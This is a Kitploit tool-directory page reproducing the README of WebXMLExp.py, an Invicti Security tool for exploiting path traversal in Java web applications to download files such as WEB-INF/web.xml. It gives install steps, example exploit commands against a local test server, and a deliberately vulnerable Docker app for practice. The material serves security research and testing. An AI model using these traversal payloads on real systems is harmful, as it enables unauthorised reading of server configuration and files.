Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
web-inf-path-trav — Tool for helping in the exploitation of path traversal vulnerabilities in Java web applications | Kitploit
Tools/GitHubGitHub/invicti-security/web-inf-path-trav
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationWeb SecurityPenetration Testing
GitHubinvicti-security/web-inf-path-trav

web-inf-path-trav

Tool for helping in the exploitation of path traversal vulnerabilities in Java web applications

View Repository
335183 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WebXMLExp.py

Tool for helping in the exploitation of path traversal vulnerabilities in Java web applications.

This tool is referenced in the Invicti Security white paper Exploiting path traversal vulnerabilities in Java web applications.

Install

Python3 is required for this tool.

Run the following command:

pip install -r requirements.txt

Usage:

After installation provide an exploit URL like so:

usage: python WebXMLExp.py <url_with_web_xml_exploit_or_inject_here_marker>

The results (files that were downloaded) are available in the results folder.

Examples

python WebXMLExp.py "http://127.0.0.1:8082/vulnerable/download.servlet?filename=WEB-INF/web.xml"
python WebXMLExp.py "http://127.0.0.1:8082/vulnerable/download.servlet?filename=<INJECT-HERE>"

Vulnerable web application docker image

A web application vulnerable to a path traversal vulnerability is provided in the docker folder.

To start, enter into the docker folder and run:

docker-compose up

The application is accessible at http://127.0.0.1:8082/vulnerable/.

To exploit the the path traversal vulnerability visit: http://127.0.0.1:8082/vulnerable/download.servlet?filename=WEB-INF/web.xml

Download Tool